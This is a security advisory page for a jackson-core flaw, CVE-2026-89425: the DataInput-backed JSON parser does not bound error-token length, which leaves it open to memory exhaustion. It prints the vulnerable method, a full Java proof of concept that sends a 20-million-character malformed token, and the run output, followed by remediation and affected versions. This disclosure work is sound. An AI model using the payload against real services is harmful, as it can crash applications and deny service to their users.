CVE-2026-89425: jackson-core: UTF8DataInputJsonParser._reportInvalidToken() does not honor maxErrorTokenLength, allowing unbounded StringBuilder growth

Published Sep 23, 2026
·
Updated

Status

FULLY REPRODUCED. A malformed token fed through createParser(DataInput) produced a 20,000,109-character exception message from a 20-million-character attacker payload, while the identical payload fed through createParser(InputStream) produced a correctly bounded 367-character message.

Affected Component / Version

- Package: com.fasterxml.jackson.core:jackson-core - Confirmed against: jackson-core-2.20.2 - Affected file: src/main/java/com/fasterxml/jackson/core/json/UTF8DataInputJsonParser.java (reportInvalidToken(int, String, String), lines ~2763-2780 in the 2.20.2 tree)

Technical Analysis

UTF8DataInputJsonParser.reportInvalidToken() builds the offending-token description for its exception message by appending identifier characters one at a time to a bare StringBuilder:

java protected void reportInvalidToken(int ch, String matchedPart, String msg) throws IOException { StringBuilder sb = new StringBuilder(matchedPart); while (true) { char c = (char) decodeCharForError(ch); if (!Character.isJavaIdentifierPart(c)) { break; } sb.append(c); ch = inputData.readUnsignedByte(); } reportError("Unrecognized token '"+sb.toString()+"': was expecting "+msg); }

There is no check against ErrorReportConfiguration.getMaxErrorTokenLength() (default 256) anywhere in this loop. By contrast, the sibling UTF8StreamJsonParser implementation of the same logic does enforce it:

java // UTF8StreamJsonParser.java (control, correctly bounded) if (sb.length() >= ioContext.errorReportConfiguration().getMaxErrorTokenLength()) { sb.append("..."); break; }

ReaderBasedJsonParser and NonBlockingUtf8JsonParserBase also correctly enforce the limit — this is a defect isolated to the DataInput-backed implementation specifically, confirmed by direct comparison of all four parser implementations in this tree.

This path is additionally left with no fallback control: because of [core#1570]-related logic in JsonFactory, configuring maxDocumentLength causes DataInput-sourced parser creation to be rejected outright, so a document-length backstop cannot coexist with this input source, and the identifier-character accumulation never passes through ReadConstrainedTextBuffer, so maxStringLength does not apply either. There is no configuration an application can set to mitigate this specific path.

Reproduction Procedure

Same clone/build steps as jackson-core1...md. Then:

bash CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar" javac -cp "$CP" -d poc poc/PoC6UnboundedErrorTokenStringBuilder.java java -Xmx2g -cp "poc:$CP" PoC6UnboundedErrorTokenStringBuilder

Full PoC Source (poc/PoC6UnboundedErrorTokenStringBuilder.java)

java import com.fasterxml.jackson.core.;

import java.io.DataInputStream; import java.io.IOException; import java.io.InputStream;

public class PoC6UnboundedErrorTokenStringBuilder {

static class RepeatingByteInputStream extends InputStream { private final int b; private long remaining; RepeatingByteInputStream(int b, long count) { this.b = b; this.remaining = count; } @Override public int read() { if (remaining <= 0) return -1; remaining--; return b; } }

public static void main(String[] args) throws Exception { final long IDENTIFIERCHARCOUNT = 20000000L;

System.out.println("Malformed token: \"t\" followed by " + IDENTIFIERCHARCOUNT + " Java-identifier characters ('x'), then a terminating space, never completing" + " \"true\"/\"false\"/\"null\"/NaN.\n");

System.out.println("=== (a) UTF8DataInputJsonParser via createParser(DataInput) ==="); { InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"), new RepeatingByteInputStream('x', IDENTIFIERCHARCOUNT), " }".getBytes("UTF-8")); DataInputStream dataIn = new DataInputStream(raw); JsonFactory factory = new JsonFactory(); JsonParser p = factory.createParser((java.io.DataInput) dataIn);

long heapBefore = usedHeap(); long t0 = System.nanoTime(); String message = null; try { p.nextToken(); p.nextToken(); p.nextToken(); } catch (JsonParseException e) { message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage(); } catch (IOException e) { message = "(stream ended: " + e + ")"; } long elapsedMs = (System.nanoTime() - t0) / 1000000; long heapAfter = usedHeap();

int msgLen = message == null ? -1 : message.length(); System.out.println("Exception message length: " + msgLen + " characters"); System.out.println("Elapsed time: " + elapsedMs + " ms"); System.out.println("Approx additional heap used: " + ((heapAfter - heapBefore) / (1024 1024)) + " MB"); System.out.println("Message length proportional to the full " + IDENTIFIERCHARCOUNT + "-character payload (unbounded)? " + (msgLen > 1000000)); }

System.out.println("\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ==="); { InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"), new RepeatingByteInputStream('x', IDENTIFIERCHARCOUNT), " }".getBytes("UTF-8")); JsonFactory factory = new JsonFactory(); JsonParser p = factory.createParser(raw);

long t0 = System.nanoTime(); String message = null; try { p.nextToken(); p.nextToken(); p.nextToken(); } catch (JsonParseException e) { message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage(); } catch (IOException e) { message = "(stream ended: " + e + ")"; } long elapsedMs = (System.nanoTime() - t0) / 1000000; int msgLen = message == null ? -1 : message.length(); System.out.println("Exception message length: " + msgLen + " characters"); System.out.println("Elapsed time: " + elapsedMs + " ms"); System.out.println("Message length bounded near default maxErrorTokenLength (256)? " + (msgLen < 500)); } }

static InputStream concat3(byte[] prefix, InputStream middle, byte[] suffix) { InputStream first = new java.io.SequenceInputStream(new java.io.ByteArrayInputStream(prefix), middle); return new java.io.SequenceInputStream(first, new java.io.ByteArrayInputStream(suffix)); }

static long usedHeap() { Runtime rt = Runtime.getRuntime(); System.gc(); return rt.totalMemory() - rt.freeMemory(); } }

Captured Evidence (actual run output)

Malformed token: "t" followed by 20000000 Java-identifier characters ('x'), then a terminating space, never completing "true"/"false"/"null"/NaN.

=== (a) UTF8DataInputJsonParser via createParser(DataInput) === Exception message length: 20000109 characters Elapsed time: 81 ms Approx additional heap used (best-effort, GC-noisy): 38 MB Message length is proportional to the full 20000000-character attacker payload (unbounded)? true

=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input === Exception message length: 367 characters Elapsed time: 7 ms Message length bounded near ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)? true

The same 20-million-character malformed token, fed to the two parser variants, produces a 367-character message via the correctly-bounded InputStream path and a 20,000,109-character message via the vulnerable DataInput path — a difference of roughly 54,500x for identical input, confirming the missing bound is the sole cause of the difference.

Impact

Any application creating parsers via JsonFactory.createParser(DataInput) over attacker-supplied input (a fully public, documented API) is exposed to unbounded memory growth from a single malformed token. Scaling the payload from the 20MB demonstrated here to gigabytes (well within a typical unbounded request body) would drive the accumulated StringBuilder — which additionally undergoes byte-to-char expansion and internal doubling — to consume many times the raw payload size, realistically triggering OutOfMemoryError and denying service to the whole JVM process. Critically, no available configuration mitigates this: maxDocumentLength cannot be set for DataInput sources at all, and maxStringLength does not apply to this code path.

Remediation

1. Add the maxErrorTokenLength check to the append loop in UTF8DataInputJsonParser.reportInvalidToken(), appending "..." and breaking when the limit is reached — mirroring the three other parser implementations exactly. 2. Add a parameterized regression test across all four parser implementations asserting the exception message length is bounded by maxErrorTokenLength plus a small constant. 3. Consider extracting this bounded-scan logic into a single shared helper on ParserMinimalBase to prevent this class of per-implementation drift recurring.

Other sources

UTF8DataInputJsonParser.reportInvalidToken() in FasterXML jackson-core builds the offending-token text for its error message by appending Java identifier characters to a StringBuilder in a loop that has no upper bound. Unlike the three sibling parser implementations, including UTF8StreamJsonParser, it never consults ErrorReportConfiguration.getMaxErrorTokenLength() (default 256). A malformed token supplied to a parser created through JsonFactory.createParser(DataInput) is therefore accumulated in full. No StreamReadConstraints setting mitigates this: maxDocumentLength cannot be applied to DataInput sources at all, and maxStringLength does not cover this path because the accumulation bypasses ReadConstrainedTextBuffer. The reporter measured a 20,000,109-character exception message from a 20-million-character malformed token on the DataInput path, against 367 characters for identical input on the InputStream path. Scaling the payload drives the StringBuilder, which also incurs byte-to-char expansion and internal array doubling, to many times the raw payload size and can trigger OutOfMemoryError for the whole JVM. UTF8DataInputJsonParser was introduced in 2.8.0 together with createParser(DataInput); releases before 2.8.0 do not contain the affected class.

— MITRE

Affected Software

6 affected componentsFixes available
maven/com.fasterxml.jackson.core/jackson-core>=2.8.0
maven/com.fasterxml.jackson.core:jackson-core>=2.8.0<=2.18.10
2.18.11
maven/tools.jackson.core:jackson-core>=3.2.0<=3.2.2
3.2.3
maven/tools.jackson.core:jackson-core>=3.0.0<=3.1.6
3.1.7
maven/com.fasterxml.jackson.core:jackson-core>=2.22.0<=2.22.2
2.22.3
maven/com.fasterxml.jackson.core:jackson-core>=2.19.0<=2.21.6
2.21.7

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade maven/com.fasterxml.jackson.core:jackson-core to a version that resolves this vulnerability.

    Fixed in 2.18.11
  2. Upgrade

    Upgrade maven/tools.jackson.core:jackson-core to a version that resolves this vulnerability.

    Fixed in 3.2.3
  3. Upgrade

    Upgrade maven/tools.jackson.core:jackson-core to a version that resolves this vulnerability.

    Fixed in 3.1.7
  4. Upgrade

    Upgrade maven/com.fasterxml.jackson.core:jackson-core to a version that resolves this vulnerability.

    Fixed in 2.22.3
  5. Upgrade

    Upgrade maven/com.fasterxml.jackson.core:jackson-core to a version that resolves this vulnerability.

    Fixed in 2.21.7
  6. Upgrade

    Upgrade com.fasterxml.jackson.core:jackson-core to a version that resolves this vulnerability.

    Fixed in 2.18.11
  7. Upgrade

    Upgrade com.fasterxml.jackson.core:jackson-core to a version that resolves this vulnerability.

    Fixed in 2.21.7
  8. Upgrade

    Upgrade com.fasterxml.jackson.core:jackson-core to a version that resolves this vulnerability.

    Fixed in 2.22.3
  9. Upgrade

    Upgrade tools.jackson.core:jackson-core to a version that resolves this vulnerability.

    Fixed in 3.1.7
  10. Upgrade

    Upgrade tools.jackson.core:jackson-core to a version that resolves this vulnerability.

    Fixed in 3.2.3

Event History

Sep 23, 2026
CVE Published
via MITRE·02:06 AM
Data Sourced
via MITRE·02:06 AM
RemedyDescriptionSeverityWeakness
Data Sourced
via NVD·03:17 AM
DescriptionSeverityWeakness
Oct 1, 2026
Advisory Published
via GitHub·03:20 PM
Data Sourced
via GitHub·03:20 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed to this issue?

Deployments are exposed when untrusted input is parsed through JsonFactory.createParser(DataInput), causing use of UTF8DataInputJsonParser. The affected parser was introduced in version 2.8.0.

2

What must an attacker provide to trigger the resource exhaustion?

An attacker needs to supply a malformed token containing a large sequence of Java identifier characters to a parser using the DataInput path. No privileges or user interaction are required according to the supplied CVSS vector.

3

Does the default error-token limit prevent exploitation?

No. Although maxErrorTokenLength defaults to 256, UTF8DataInputJsonParser does not consult that setting, so the malformed token is accumulated in full for the exception message.

4

Do StreamReadConstraints mitigate the issue?

No. maxDocumentLength cannot be applied to DataInput sources, and maxStringLength does not cover this error-reporting path because it bypasses ReadConstrainedTextBuffer.

5

What can be done before a fix is deployed?

Avoid parsing attacker-controlled data through JsonFactory.createParser(DataInput). The InputStream parser path does not show the same unbounded error-token accumulation; the reported 20-million-character malformed input produced a 367-character exception message on that path.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203